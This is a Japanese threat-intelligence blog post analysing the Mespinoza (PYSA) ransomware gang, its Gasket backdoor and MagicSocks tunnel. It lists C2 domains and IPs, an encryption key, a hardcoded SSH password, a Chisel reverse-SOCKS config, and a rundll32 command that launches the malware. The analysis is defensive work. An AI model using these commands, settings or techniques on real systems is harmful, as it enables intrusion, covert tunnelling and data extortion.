This post is also available in: English (英語)
概要
サイバー攻撃が盛んになるにつれ、ランサムウェアギャングたちは、より多くの被害者により多くの身代金を支払わせるべく、その戦術やビジネスモデルを変化させつづけています。こうした犯罪組織は高度化していくほどにあたかも事業を営むかのような側面を見せるようになります。
その好例といえるのがMespinozaです。Mespinozaはハッキング用のツールに奇妙な名前を付けたがる、非常に多数のツールを開発しているグループです。Unit 42のサイバーセキュリティコンサルタントは、同グループが米国の出版、不動産、工業生産、教育などの組織を攻撃し、160万ドルもの身代金を要求し、47万ドルもの支払いを行わせていることを確認しています。FBIは最近、米国および英国の幼・小・中・高校、大学、神学校までもがハッキングされたことを受け、「PYSA」とも呼ばれるこのグループに関する警告を公開しました。
このグループの詳細を知るため、私たちはこのグループのインフラを監視しました。監視対象には、攻撃管理用のC2(Command and Control)サーバーや、多額の身代金支払いを拒否した被害者のデータ掲載用リークサイトなどが含まれます。本稿では、Mespinozaギャングに関する主な発見を共有します。
極めて規律正しい: 新しいネットワークへのアクセス後、トリアージと思われる方法で侵害システムを調査します。本格的攻撃の開始に値するデータの有無を判断しています。彼らは、clandestine、fraud、ssn、driver*license、passport、I-9などのキーワードを探します。漏えいした場合に最も影響の大きい機密ファイルを狙ってのことと考えられます。
多数の業界を標的にする : 被害組織は「パートナー」と呼ばれます。この言葉を使うことで、事業を営む企業のようにグループを運営しようとしていること、被害者を利益をもたらすビジネスパートナーとみなしていることがわかります。同グループは、187の被害組織からのものとされるデータをリークサイトに公開しています。被害組織の属する業界は、教育、製造、小売、医療、政府、ハイテク、輸送・物流、エンジニアリング、ソーシャルサービスなど多岐にわたります。
グローバルに展開している: リークサイトで確認された被害組織の55%が米国国内組織です。このほかの被害組織は、カナダ、ブラジル、イギリス、イタリア、スペイン、フランス、ドイツ、南アフリカ、オーストラリアなど、世界20カ国以上にまたがっています。
被害者へアプローチが傲慢: 身代金要求メモには「上司に何て報告したら?」「システムを守りなよ、相棒」というアドバイスが書かれています。
独創的な名前の攻撃ツールを使う: ネットワークトンネルを作成してデータを吸い上げるツールは「MagicSocks」と呼ばれています。ステージングサーバーに保存されていて、攻撃の仕上げに使用うとおぼしきコンポーネントは「HappyEnd.bat」と名付けられています。
パロアルトネットワークスの次世代ファイアウォールをご利用のお客様は、DNS Security、脅威防御、Advanced URL Filtering、WildFireなどのセキュリティサブスクリプションに加えてCortex XDRを通じてこの脅威から保護されています。このほか、AutoFocusを使うと、関連エンティティを追跡できます。Cortex Xpanseのお客様はネットワークセキュリティの攻撃面を評価・管理し、システムインベントリを作成できます。
なお、観測されたテクニックや関連行動指針を可視化したものをUnit 42 ATOM ビューアで提供していますので参考にしてください。
RDPによるネットワークアクセス
私たちがレスポンスで支援した事例では、ランサムウェアのオペレーターがリモート・デスクトップ・プロトコル(RDP)を使用して被害組織のネットワークにアクセスしたり、オープンソースツールやシステム内蔵ツールの助けを借りてラテラルムーブ (横展開) や認証情報収集を行っていました。彼らは「二重の恐喝(double extortion)」と呼ばれる戦術(ランサムウェア展開前にデータを漏出させておき、後からそれをリークすると脅す)をとっています。また、ネットワークアクセスの維持のために(マルウェアコードを基にした)「Gasket」と呼ばれる新しいバックドアをインストールします。Gasketは、オープンソースのChiselプロジェクトを使用して、ネットワークへの継続的なリモートアクセスのためのトンネルを作成する「MagicSocks」という機能を参照しています。
Mespinozaランサムウェアギャングは、まずファイル名がキーワードのリストに一致するファイルをPowerShellスクリプトを使ってリモートサーバーに漏出させ、その後でランサムウェアのインストールすることが確認されています。このキーワードには、「secret(秘密)」、「fraud(詐欺)」、「SWIFT.(SWIFT送金、国際銀行間の金融通信)」などの字列が含まれています。アクターがファイルを公開した場合に組織に最も大きな影響を与える機密ファイルを収集し、漏出させようとしたことが示唆されています。本稿執筆時点で、同グループのリークサイトには世界中のさまざまな業界の187におよぶ組織名と情報が掲載されています。
![Mespinozaランサムウェアの被害数(国別)](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/07/chart-jp.png)
![Mespinozaランサムウェアの被害数(産業別)](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/07/chart-1-jp.png)
多くの記述で同アクターは影響を受けた組織を「パートナー」と呼んでいます。Mespinozaがこの言葉を使うのは、自分たちの業務を事業運営になぞらえ「パートナー」をビジネスに資金を提供するビジネスパートナーと捉えているからではないかと考えられます。
GasketやMagicSocksといったツールや、リークサイト上の漏出データは、2020年4月にまでさかのぼります。このことからMespinozaランサムウェアギャングは1年以上前から活動していたことが示唆されます。MespinozaはRansomware-as-a-Service(RaaS)モデルを採用しているとの報告もありますが、弊社が調査したランサムウェア事例からはRaaSモデルの利用は確認されていません。
Gasket
Mespinozaランサムウェアを解析するなかで、脅威アクターが先にGo言語で書いたバックドアをシステムにインストールしてからランサムウェアを配布していることが確認されました。また、フランス国立情報システムセキュリティ庁(ANSSI)が公開した報告書によれば、同庁は脅威アクターがGoで書かれたペイロードを使い、Mespinozaランサムウェアを配信していることも確認しています。ANSSIの報告書に記載されているGoのサンプルを分析したところ、それが私たちの事例で観測されたツールと同じものであり、初期の難読化されていないバージョンであることがわかりました。
Gasketの開発者は、このバックドアをGolangで作成し、オープンソースのGobfuscateツールを使用してペイロードを難読化していました。私たちはこのツールを「Gasket」と名付けています。その理由は、コマンド&コントロール(c2)通信を行うために同ツールが呼び出す以下2つの関数名にあります。これら2つの関数は、ANSSIレポートに記載されている亜種(SHA256:9986b6881fc1df8f119a6ed693a7858c606aed291b0b2f2b3d9ed866337bdbde) のバージョン「001」に含まれていたものです。
- main.checkGasket
- main.connectGasket
私たちは、アクターがネットワークへのアクセスを維持するために、RDPのバックアップとしてこのバックドアを使用していると考えています。
Gasketは、渡されたコマンドライン引数を解析し、自身をスタンドアロンプロセスとして実行するか(デーモンモードなし)、サービスとしてインストールするか(デーモンモード、コマンドライン引数なし)、あるいは既にインストールされているGasketサービスを制御するかを判断します。Gasketは以下のコマンドライン引数に対応しています。
- no-persist
- service Restart|Install|Start|Run
デーモンとしてインストールしようとする場合、Gasketはサービスを作成してその関数コードを実行します。以下のサービス名は、既知のGasketのサンプルから抽出されたものです。
- AzureAgentController
- CorpNativeHostDebugger
- DefenderSecurityAgent
- GetServiceController
- JavaJDBC
- MicrosoftSecurityManager
- MicrosoftTeamConnect
- MicrosoftTeamConnectDebugger
- MicrosoftTeamManager
- MsStudioAgentUpdateService
- WindowsHealthSubSystem
- WindowsManagementSystem
- WindowsProtectionSystem
- WindowsSoftwareManager
- WindowsSoftwareManagerDebugger
コマンド&コントロール
大半のバージョンのGasketには、プライマリC2通信チャネルと、セカンダリのフォールバックチャネルが用意されています。Gasketの初期バージョンでは、サーバーにIPアドレスを使用するHTTPベースのC2通信のみに依存していましたが、後期バージョンでは、同じHTTPベースのC2チャネルをフォールバックとして使用し、主にDNSトンネリングのC2チャネルに依存しています。DNSトンネリングプロトコルは、DNS TXTクエリを使用し、Chashellというオープンソースプロジェクトをベースにしています。たとえば、以下のようなDNS TXTクエリがGasketから発行されていました。
98ca192722ba28e9b8fb34b0d789a00608a13aac2e8d5b420b8e2ae899777a4.5c91a5a50ca31d47ed0d1dbbd0b7d0633b8f80d00eae16b6b1e6e326a.transnet[.]wiki
Gasketが発行するアウトバウンドDNSクエリを理解するため、Chashellサーバーを分析し、インバウンドDNSクエリがどのように処理されるかを突き止め、サーバーがどのようにレスポンスを構築するかを把握しました。Chashell C2サーバはC2の完全修飾ドメイン名(上記のtransnet[.]wiki)より前のサブドメインを切り出し、ピリオドを取り除いてサブドメインラベル同士を結合します。その後、サーバーはXSalsa20とPoly1305を使って結果データを復号します。そのなかで平文部分はシリアル化されたprotobufメッセージとして扱われます。ChashellをベースとしたDNSトンネリングC2チャネルを使用するGasketサンプルはすべて、転送データの復号に37c3cb07b37d43721b3a8171959d2dff11ff904b048a334012239be9c7b87f63という固有のキーを使用します。
ChashellのGitHubによると、chacomm.protoファイルには、Gasketが受信した復号データをサーバーが解析する際に使用するprotobufメッセージの構造体と、その応答をどのように構成するかが記述されています。メッセージの構造体には、侵害されたホストに固有のGUIDであるclientguidフィールドと、ChunkStart、ChunkData、PollQuery、InfoPacketのいずれかのパケットタイプが含まれます。それぞれのパケットタイプの構造は異なりますが、次の表に各パケットタイプの目的を説明します。
パケットタイプ | 説明 |
InfoPacket | 侵害されたシステムのホスト名をC2に提供する初期ビーコン。 |
ChunkStart | チャンク識別子を提供し、データ送信に必要なDNSクエリ数をC2に伝える。 |
ChunkData | C2がアップロードされたデータを再構築できるよう、チャンク識別子、現在のチャンク、データを含める。 |
PollQuery | セッション維持のためのハートビートとして機能する。ただしC2からのデータ取得用クエリタイプとしても使用される。 |
表1 Chashellのさまざまなパケットタイプの目的
C2はこれらのクエリに対し、AnswerセクションのTXTフィールド内の16進数データで応答します。この16進数データは、Chashellのchacomm.protoファイルと同じメッセージ構造体でシリアル化したprotobufです。以下の例では、ChashellサーバからDNSトンネリングC2チャネル経由でGasketペイロードにデータを送信するために必要なDNSリクエストとレスポンス、およびメッセージの内容を示しています。
![GasketとChashellのメッセージ、clientguid、PollQueryの例](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-9.png)
残念ながら、Gasketは上記のChashellサーバ経由で提供されたhostnameのデータをコマンドとして実行することはありません。Gasketにはサーバからの応答をどのように処理するかを決めるためのサブプロトコルとコマンドハンドラがあるからです。これについては次のセクションで説明します。GasketはDNSリクエスト用のChashellのDNSトンネリングプロトコルのほかにもサブプロトコルを使用します。このサブプロトコルでは、メッセージタイプの後ろに暗号化されたデータが続き、これを使ってC2にメッセージの種類を通知しています。このことから、同アクターはChashellサーバーのコードを修正し、修正した通信チャネルを使えるようにしていたことがうかがわれます。以下が利用可能なメッセージタイプです。
メッセージタイプ | 説明 |
1 | 初期チェックイン。<バージョン番号>///<暗号化されたコンピュータ名とユーザー名>///<コンピュータ名>///<ユーザー名> の形式 |
2 | ハートビート。<バージョン番号>///<暗号化されたコンピュータ名とユーザー名> の形式 |
9 | アウトプットとデバッグメッセージを含むデータが送信された |
表2 Chashellのさまざまなパケットタイプの目的
前述のとおり、Gasketの多くのバージョンには、HTTPベースのバックアップC2チャネルが用意されており、DNSトンネリングチャネルで使用されるドメインにアクセスできない場合にはそれが使用されます。ペイロードは、IPアドレスに直接HTTPリクエストを発行し、その動作にはDNSリクエストが必要ありません。このバックアップチャンネルを使えるよう、ペイロードには2バイトのバイナリ形式でハードコードされたIPアドレスリストが含まれています。ペイロードは各2バイトから10を引いてデコードし、その結果を使ってドット表記のIPアドレスを作成します。たとえば、37 00 9D 00 EF 00 27 00というバイトを2進法で入力すると、0x37、0x9d、0xef、0x27というリストになり、それぞれから10を引くと、0x2d、0x93、0xe5、0x1dとなり、これが45、147、229、29という結果になります。これらの値をドット(.)でつなぎ、ドット表記のIP「45.147.229[.]29」を作ります。既知のHTTPベースのGasket C2サーバの全リストは、表5、および本ブログのIoC(Indicators of Compromise)セクションでご覧いただけます。
HTTP C2チャネルを介して送信される最初のビーコンには、URL /cert/trustへのPOSTリクエストが含まれます。このPOSTリクエストは、デフォルトのGo-http-client/1.1のUser-Agentを使用し、以下のような暗号化されたデータを含みます。
![Host、User-Agent、Content-Length、Content-Type、Accept-Codingを含む暗号化データの例](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-10.png)
HTTP POSTリクエストのデータは、文字列「dick」をキーとして、ローリングXORアルゴリズムで暗号化されます。cert/trustへの最初のビーコン内のデータには、ハードコードされたバージョン番号021、システムのユニークな識別子(MD5ハッシュまたはbase64エンコードされた文字列)、コンピュータ名、ユーザー名が///で区切られて含まれています(下記参照)。
021///15c50b724a801417ef4143bb58b7178b///<コンピュータ名>///<ユーザー名>
初期ビーコンの後、Gasketは/time/syncのURLにフォローアップリクエストを送信し、脅威アクターからのコマンドを取得しますが、その内容は以下のような形を取ります。
![Host、User-Agent、Content-Length、Content-Type、Accept-Codingを表示するGasketの補足的リクエストの例。](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-11.png)
これら/time/syncへのフォローアップリクエストには同じXORアルゴリズムとキーが使われ、結果のデータには最初の2つのフィールド(具体的には以下)が含まれます。
021///15c50b724a801417ef4143bb58b7178b
リモートロギング機能があるバージョンでは、Gasketは以下のような/cert/distのURLにHTTP POSTリクエストを送信します。
![Gasketからのリモートリクエスト。Host, User-Agent, Content-Length, Content-Type, Accept-Codingが含まれている](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-12.png)
前述のリモートロギングリクエストでは、ほかのHTTPリクエストと同じXORアルゴリズムやキーを使います。データ構造は送信される情報によって若干異なりますが、次のリモートエラーログの例に見られるように、バージョン番号、システム固有の識別子、最後にサーバーに送信されたメッセージなどが含まれます。
002<base64エンコードしたユーザー名+コンピュータ名>//////[Control]</base64> Failed to Stop Windows Protection System: Unknown action Stop (Windows保護システムの停止に失敗しました。不明なアクション Stop)
機能
C2サーバーからの応答では、ペイロードがコマンドとして扱う整数を含む///区切りのデータと、コマンド用の追加パラメータが提供されます。以下の表3は大半のバージョンと最新(021)のGasketで利用可能なコマンド一覧です。
コマンド | 説明 |
1 | os.exec.Command.Runでコマンド/アプリケーション/パワーシェルを実行し、標準出力を返す |
2 | 指定されたリモートシステムに接続するため、rsocksプロジェクト(https://github.com/brimstone/rsocks)を使用してSOCKS5サーバーを起動する |
3 | コマンド2と同じ |
4 | 現在アクティブなチャネルに応じてC2の通信をDNSからHTTPまたはHTTPからDNSに切り替える |
7 | Chiselプロジェクトを使って「MagicSocks」と呼ばれるクライアントを作成し、提供されたユーザー名と「networkZSA$789ty5」をSSHのパスワードとして使い、提供されたサーバーへのポートフォワードとトンネルトラフィックを行う |
9 | ペイロードを実行しているサービスを削除し、自分自身を削除する%temp%\del.batを作成し、os.Exit を呼び出すことでトロイの木馬をアンインストールする |
表3 Gasketバージョン021で利用可能なコマンド
表3のコマンドを見ると、Gasketはバックドアとして機能するだけでなく、トンネリング機能も備えており、外部からコントロールされたサーバーに対してトラフィックをトンネリングする手段を脅威アクターに提供しているようです。Gasketは、トンネル作成の際、デバッグログ内で「magicSocks」を参照しており、これは「chisel」プロジェクトを使ったトンネル作成方法であると思われます。私たちはこのトンネリングツールのスタンドアロン版をこの脅威アクターが持っているという証拠を持っています。このツールが私たちが MagicSocks と呼ぶツールです。このツールについては次のセクションで説明します。
Gasketの進化
ここまで本稿ではいくつかのバージョンのGasketについてふれましたが、具体的にはバージョン001と021のみについて言及してきました。この2つのバージョン番号が、2020年4月から2021年3月までに確認されたGasketの最も古いバージョンと最も新しいバージョンとなっています。表4のGasketサンプル一覧は、それぞれのバージョン番号、サンプルに関連付けられている最初のタイムスタンプを示しています。
初出 | SHA256値 | バージョン |
4/18/2020 | b0629dcb1b95b7d7d65e1dad7549057c11b06600c319db494548c88ec690551e | 001 |
5/08/2020 | 356671767c368e455f2261f7f76d9ee9bd0b522172490845b89281224ab5dbad | 001 |
5/9/2020 | a30e605fa404e3fcbfc50cb94482618add30f8d4dbd9b38ed595764760eb2e80 | 001 |
5/13/2020 | 64b9b5874820ca26344c919b518d6c0599a991aaf1943a519da98d294bebf01f | 001 |
5/9/2020 | ccfa2c14159a535ff1e5a42c5dcfb2a759a1f4b6a410028fd8b4640b4f7983c1 | 001 |
7/23/2020 | 5d8459c2170c296288e2c0dd9a77f5d973b22213af8fa0d276a8794ffe8dc159 | 001 |
10/7/2020 | af97b35d9e30db252034129b7b3e4e6584d1268d00cde9654024ce460526f61e | 001 |
5/14/2021 | 1b888acb22a8326bd5f80f840390182d00e0c8db416d29d042358b48d1220438 | 001 |
5/19/2020 | 0bcbc1faec0c44d157d5c8170be4764f290d34078516da5dcd8b5039ef54f5ca | 002 |
11/23/2020 | ea3b35384e803bef3c02a8f27aea2c2a40f9a4d2726113e1c5f2bc3be9c41322 | 002 |
8/31/2020 | 85c8ccf45cdb84e99cce74c376ce73fdf08fdd6d0a7809702e317c18a016b388 | 003 |
10/13/2020 | 8b5cdbd315da292bbbeb9ff4e933c98f0e3de37b5b813e87a6b9796e10fbe9e8 | 003 |
6/12/2020 | 701791cd5ed3e3b137dd121a0458977099bb194a4580f364802914483c72b3ce | 006 |
6/20/2020 | ef31b968c71b0e21d9b0674e3200f5a6eb1ebf6700756d4515da7800c2ee6a0f | 006 |
9/04/2020 | aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586 | 006 |
9/04/2020 | 140224fb7af2d235e9c5c758e8acaee34c912e62fad625442e5ca4102d11e9e7 | 006 |
9/06/2020 | d9c753b859414e4b38a0841423b159590c47ad580249b0cd3c99a0ecc6644914 | 006 |
9/17/2020 | d591f43fc34163c9adbcc98f51bb2771223cc78081e98839ca419e6efd711820 | 006 |
9/25/2020 | f8a5065eb53b1e3ac81748176f43dce1f9e06ea8db1ecfa38c146e8ea89fcc0b | 006 |
7/16/2020 | 12b927235ab1a5eb87222ef34e88d4aababe23804ae12dc0807ca6b256c7281c | 007 |
9/25/2020 | 045510eb6c86fc2d966aded8722f4c0e73690b5078771944ec1a842e50af4410 | 008 |
10/08/2020 | 6eb0455b0ab3073c88fcba0cad92f73cc53459f94008e57100dc741c23cf41a3 | 009 |
6/22/2020 | f5cb94aa3e1a4a8b6d107d12081e0770e95f08a96f0fc4d5214e8226d71e7eb7 | 010 |
10/08/2020 | 2697bbe0e96c801ff615a97c2258ac27eec015077df5222d52f3fbbcdca901f5 | 010 |
7/16/2020 | 30bd30642bf83abd74b8b2312ea606e0f192b0d61351f1445d1a1458414992d3 | 011 |
10/14/2020 | 3a6ddc4022f6abe7bdb95a3ba491aaf7f9713bcb6db1fbaa299f7c68ab04d4f4 | 011 |
11/17/2020 | c2ef84710937b622f35b2b8fab9f9aa86b718ba7bc77a40b33b92e40747676b5 | 012 |
11/28/2020 | 7b5027bd231d8c62f70141fa4f50098d056009b46fa2fac16183d1321be04768 | 014 |
01/07/2021 | e47a632bfd08e72d15517170b06c2de140f5f237b2f370e12fbb3ad4ff75f649 | 016 |
12/14/2020 | 8a9205709c6a1e5923c66b63addc1f833461df2c7e26d9176993f14de2a39d5b | 018 |
12/21/2020 | 6d1fde9a5963a672f5e4b35cc7b8eaa8520d830eb30c67fadf8ab82aeb28b81a | 019 |
3/22/2021 | 0fd13ece461511fbc129f6584d45fea920200116f41d6097e4dffeb965b19ef4 | 019 |
3/10/2021 | 89b9ba56ebe73362ef83e7197f85f6480c1e85384ad0bc2a76505ba97a681010 | 020 |
3/23/2021 | c9bed25ab291953872c90126ce5283ce1ad5269ff8c1bca74a42468db7417045 | 021 |
表4 既知のGasketのサンプルとそれぞれのバージョン
私たちは、Gasketのサンプルが使用していたC2のロケーションを、HTTPベースとDNSベースの両方のチャネルについて抽出して分析しました。表5に見られるハードコードされたドメインやIPアドレスは、Gasketのバージョンごとに固有のものではありません。バージョン番号が異なるGasketのサンプル間で、同じドメインやIPが複数使されていました。
バージョン | C2サーバー |
001 | 185.183.96[.]147
194.5.249[.]137 194.5.249[.]138 194.5.249[.]139 194.5.250[.]151 194.5.250[.]162 194.5.250[.]216 37.120.140[.]184 37.221.113[.]66 accounting-consult[.]xyz ntservicepack[.]com statistics-update[.]xyz |
002 | 185.183.96[.]147
194.5.250[.]216 194.187.249[.]102 194.187.249[.]138 37.120.140[.]184 37.221.113[.]66 89.38.225[.]208 ntservicepack[.]com reportservicefuture[.]website sbvjhs[.]xyz sbvjhs[.]club |
003 | 185.186.245[.]85
193.239.84[.]205 193.239.85[.]55 194.187.249[.]102 194.5.249[.]18 194.5.249[.]180 86.106.20[.]144 89.38.225[.]208 firefox-search[.]xyz sbvjhs[.]club sbvjhs[.]xyz visual-translator[.]xyz wiki-text[.]xyz |
006 | 185.183.96[.]147
194.187.249[.]102 194.187.249[.]138 194.5.250[.]216 37.120.140[.]184 37.120.140[.]247 37.221.113[.]66 86.106.20[.]144 89.38.225[.]208 ntservicepack[.]com reportservicefuture[.]website sbvjhs[.]club sbvjhs[.]xyz |
007 | ntservicepack[.]com
reportservicefuture[.]website 37.120.140[.]247 194.5.250[.]216 185.183.96[.]147 |
008 | firefox-search[.]xyz
visual-translator[.]xyz wiki-text[.]xyz 185.186.245[.]85 193.239.85[.]55 193.239.84[.]205 194.187.249[.]102 |
009 | firefox-search[.]xyz
visual-translator[.]xyz wiki-text[.]xyz 185.186.245[.]85 193.239.85[.]55 193.239.84[.]205 194.187.249[.]102 |
010 | 185.185.27[.]3
185.186.245[.]85 193.239.84[.]205 193.239.85[.]55 194.187.249[.]102 37.120.145[.]208 blitzz[.]best firefox-search[.]xyz spm[.]best visual-translator[.]xyz wiki-text[.]xyz |
011 | visual-translator[.]xyz
firefox-search[.]xyz wiki-text[.]xyz sbvjhs[.]club spm[.]best blitzz[.]best 185.186.245[.]85 193.239.85[.]55 193.239.84[.]205 194.187.249[.]102 45.89.175[.]239 185.185.27[.]3 37.120.145[.]208 |
012 | englishdict[.]xyz serchtext[.]xyz 172.96.189[.]167 89.41.26[.]173 |
014 | englishdict[.]xyz
serchtext[.]xyz 172.96.189[.]167 89.41.26[.]173 |
016 | englishdialoge[.]xyz
starhouse[.]xyz 160.20.147[.]184 172.96.189[.]167 193.239.84[.]205 89.41.26[.]173 |
018 | englishdialoge[.]xyz
starhouse[.]xyz 160.20.147[.]184 172.96.189[.]167 193.239.84[.]205 89.41.26[.]173 |
019 | english-breakfast[.]xyz
pump-online[.]xyz 172.96.189[.]22 172.96.189[.]246 160.20.147[.]184 172.96.189[.]167 198.252.100[.]37 |
020 | cvar99[.]xyz
dowax[.]xyz english-breakfast[.]xyz pump-online[.]xyz 45.147.230[.]162 45.147.230[.]212 172.96.189[.]22 172.96.189[.]246 160.20.147[.]184 172.96.189[.]167 198.252.100[.]37 |
021 | transnet[.]wiki
cvar99[.]xyz productoccup[.]tech ccenter[.]tech dowax[.]xyz 45.147.229[.]29 23.83.133[.]136 45.147.228[.]49 45.147.230[.]162 45.147.230[.]212 |
表5 C2ドメイン、IPアドレス、関連するGasketバージョン
前述したように、弊社は、脅威アクターが使用している多くのGasketバックドアやMagicSocksのバージョンを分析し、ブロックと追跡のためにかなりの量の関連インフラを収集しました。以下の図7のMaltegoチャートは、上記の表5に記載したGasketサンプル、そのバージョン、C2通信に使用される関連インフラを視覚化する上で役立ちます。以下図7は大きく分けて2つのクラスタを表しています。左側が最近のバージョン(012〜021)、右側が012以前のバージョンです。
図7に示したエンティティ間リンクの大半はインフラ関連です。つまりWildFireサンドボックスの分析中にそれぞれのサンプルがリンクしたか、抽出したC2構成情報に基づいてリンクした可能性のあるドメイン名とIPアドレスです。
![Mespinozaランサムウェアをマッピングし、ANSSIレポートやMagicSocksなどからのインフラやリンクを示す。](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/07/gasket_magicsocks_figure_5-jp.png)
いくつかの明確なクラスタ(図7上の矩形で強調)間のリンクは限定的で、C2の再利用に関連したものがほとんどです。ただし先に挙げた一般的なWindowsサービス名などのサンプルメタデータを使い、いくつか追加でリンクすることができました。
下図8のヒートマップを使用して、すべてのGasketサンプルにおけるプライマリC2アドレスの再利用とオーバーラップの量をさらに視覚化することができました。一般的には、Gasketの初期バージョンでは、同じバージョンの複数のバリエーションでも、新しいGasketのバージョンを使用した異なるバリエーションでも、C2アドレスが最も多く再利用されていることが表に示されています。ヒートマップを見ると、008年頃以降のバージョンでは、プライマリC2アドレスの再利用がバージョン内およびバージョン間で減少しており、最新のバージョンではプライマリC2アドレスが再利用されていないようです。
![プライマリC2のGasketバージョンを示すヒートマップ図](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/07/word-image-13-jp.png)
このパターンの外れ値は上の図8の9行目、11行目、12行目です。9行目と11行目は図7の右上のクラスタに関連し、12行目は右下のクラスタに関連しています。Gasketのバージョンは比較的古いのに、C2での再利用がほとんどないという点でこれらは外れ値といえます。くわえて、「図7の9行目と11行目に記載されているC2を含むクラスタ」から「Gasketマッピングにおけるほかの部分」へのリンクは、それらが既知のGasketサンプルであること、他のクラスタの他のサンプルと同じWindowsサービス名を共有していること、という事実しかありません。これらの外れ値は、オーダーメイドされた攻撃インフラを持つGasketマルウェアを使った、特定キャンペーンに起因していると考えられます。
Gasketの初期バージョンでは、感染時に作成されるWindowsサービス名にいくつか変更が加えられ、インフラがもっとも繰り返し使用されていることがわかります。しかし、シングルユースで短命なインフラを採用していると思われる最新のGasketのバージョンでは、(少なくとも主要なC2では)Windowsサービスに一貫した名前、すなわちJavaJDBCを使用しています。
また、図7では、GasketとMagicSocksツールの間には共通のIPアドレス89.44.9[.]229が確認できます。このIPアドレスは、Gasket(SHA256:aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586)とMagicSocksのサンプル(SHA256:d49a69be32744e0af32ad622aa22ba480d68253287c99f5a888feb9f2409e46f)の両方、そしてMagicSocksに関連するいくつかのPowerShellコンポーネントをホストしています。PowerShellスクリプトのハッシュ値と他のMagicSocksサンプルから抽出した追加C2アドレスは本稿巻末のIoCセクションに記載しています。
MagicSocks
GasketツールはオープンソースのChiselプロジェクトをベースにしたMagicSocksと呼ばれるプロキシトンネリング機能を参照していました。アクターはGasketに追加して使うMagicSocksのスタンドアロン版も作成しています。スタンドアロンのMagicSocksツールはダイナミックリンクライブラリ(DLL)として提供されており、これもまたGolangで書かれています。MagicSocksの開発者は、Chiselプロジェクトのコードを使用して、外部アクターが制御しているChiselサーバーにローカルシステムからトラフィックをトンネリングします。このツールは、R:0.0.0.0:50000:socksという文字列を作成してChiselクライアントのコードに与えます。Chiselクライアントのコードはこの文字列から次のJSONを生成します。生成されたJSONはクライアントの設定として使われます。
{"Version":"0.0.0-src","Remotes":[{"LocalHost":"0.0.0.0","LocalPort":"50000","RemoteHost":"","RemotePort":"","Socks":true,"Reverse":true}]}
またこのツールは、外部アクターが制御するChiselサーバーをあらわす文字列を作成します。このサーバーは以下の場所でホストされています。
http://creatordampfe[.]xyz:443
MagicSocksツールを実行する際、MagicSocksはChiselクライアントを使用して、creatordampfe[.]xyzにホストされているChiselサーバーに接続します。これは、以下のようなHTTPリクエストとレスポンスで始まります。
![MagicSocksのリクエストとレスポンスには、Host, User-Agent, Content-Length, Content-Type, Accept-Codingが表示されます。](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-14.png)
Chiselを使用する目的は、ローカルシステムからのトラフィックをcreatordampfe[.]xyzにトンネリングすることで、このcreatordampfe[.]xyzがアウトバウンドトラフィックの最終目的地へのプロキシとして機能します。残念ながら、creatordampfe[.]xyzにあるChiselサーバーにアクセスし、トラフィックの最終目的地を特定することはできていません。このことからは、MagicSocksがアクターに隠蔽機能を提供していることを強調するものです。
私たちはさらに5つのMagicSocksスタンドアロンサンプルを発見しましたが、いずれも2021年2月から2021年4月の間にコンパイルされたものでした。5つのサンプルのそれぞれからリモートChiselサーバーの場所を抽出したところ、以下の3つのユニークなC2ロケーションが見つかりました。
- 104.168.164[.]195
- 172.96.189[.]86
- 142.79.237[.]163
これらのサンプルもGobfuscateで難読化されていますが、それ以前にコンパイルされたサンプルは以下の場所でコンパイルされており、solarというユーザーがLinuxシステム上で作成したものであることがわかります。
/home/solar/c/go/magic-dll/src/sokos/
私たちが発見したMagicSocksのスタンドアロン版サンプルの1つは、run64.exe(SHA256:f2dcad28330f500354eb37f33783af2bcc22d205e9c3805fed5e919c6853649c)というファイル名の別のツールと一緒に配信・実行されました。run64.exeはMagicSocksのDLL (timex.dll)を実行するだけのものです。具体的には、以下のrundll32コマンドを実行してエクスポートされたDebug関数を呼び出します。
C:\Windows\System32\rundll32.exe <current directory>\timex.dll,Debug
Goプロジェクトのソースは、solarというMagicSocksのものと同じユーザー名を含む次のフォルダにありました。このことから、MagicSocksのサンプルと同じ個人が作成したと考えられます。
/home/solar/c/go/exec-dll/src/
2020年9月のMagicSocksの別のサンプル(SHA256:d49a69be32744e0af32ad622aa22ba480d68253287c99f5a888feb9f2409e46f)も見つかりましたが、こちらはGobfuscateでの難読化はされていませんでした。このサンプルは89.44.9[.]229/info.txtにホストされていましたが、これはGasketのサンプル(SHA256:aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586)をホストしていたのと同じIPです。このバージョンのMagicSocksは、socks5ライブラリを使用して、リモートサーバ(具体的には23.227.206[.]158:443)へのプロキシを作成します。この89.44.9[.]229というIPには、ほかにも興味を引くファイルがホストされていました。これらについては、本稿の関連ツールのセクションで後述します。
Mespinoza ランサムウェア
GasketツールやMagicSocksツールはランサムウェアMespinoza(PYSAとも呼ばれる)を配信する攻撃に使用されていました。さらに、Unit 42のコンサルタントが行ったインシデントレスポンス事例を分析した結果、以下のように、オペレーターが攻撃の後半部分をやりやすくするために使用していたツールが発見されました。
たとえば、RDPによる侵入後ネットワークをひととおり偵察する目的で「ADRecon」を使い、Active Directoryのドメインやユーザー、グループ、コンピュータなどを列挙していました。さらに、Windows組み込みのquser、ping、netなどのユーティリティや、ダウンロードしたAdvanced IP Scanner、Advanced Port Scannerを使って、ログオンユーザーやネットワークトポロジーに関する情報を収集していました。また、PowerShellスクリプトを使ってシステムを起動し、ネットワーク経由でオンにすることで、オペレーターは新たなターゲットを得ていました。
認証情報を収集し、ラテラルムーブやランサムウェアの展開を容易にするため、オペレーターはPowerShellを使ってファイルシステムを再帰的に検索し、テキストファイルやスプレッドシートに保存されたログオン認証情報を探していました。また、WinSCP、PuTTY、FileZillaなどのリモートアクセスツールからセッション情報を抽出できるPowerShellツール「SessionGopher」を使い、RDPやMicrosoft Sysinternalsのユーティリティ「PsExec」を有効化し、ラテラルムーブを可能にしていました。
